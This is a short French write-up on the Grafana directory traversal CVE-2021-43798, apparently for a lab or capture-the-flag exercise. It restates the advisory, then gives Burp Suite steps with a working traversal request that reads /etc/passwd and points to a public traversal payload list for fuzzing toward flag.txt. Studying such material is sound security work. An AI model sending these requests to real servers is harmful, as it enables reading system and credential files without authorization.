CVE-2021-43798

Les versions de Grafana 8.0.0-beta1 à 8.3.0 (à l'exception des versions corrigées) sont vulnérables à une traversée de répertoire, permettant l'accès à des fichiers locaux.

Grafana est une plateforme open-source de surveillance et d'observabilité. Les versions de Grafana 8.0.0-beta1 à 8.3.0 (à l'exception des versions corrigées) sont vulnérables à une traversée de répertoire, permettant l'accès à des fichiers locaux. Le chemin d'URL vulnérable est : <grafana_host_url>/public/plugins//, où se trouve l'ID du plugin pour tout plugin installé. Grafana Cloud n'a jamais été vulnérable. Il est conseillé aux utilisateurs de mettre à niveau vers les versions corrigées 8.0.7, 8.1.8, 8.2.7 ou 8.3.1. L'avis de sécurité GitHub contient plus d'informations sur les chemins d'URL vulnérables, l'atténuation et le calendrier de divulgation.

Utilisation de Burp Suite

Envoyez GET au Repeater

GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1

Envoyez ensuite à l'Intruder GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1

Utilisez Sniper pour ATTAQUER Copiez le payload depuis github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal

Traitement du payload Match [{FILE]} replace with {flag.txt}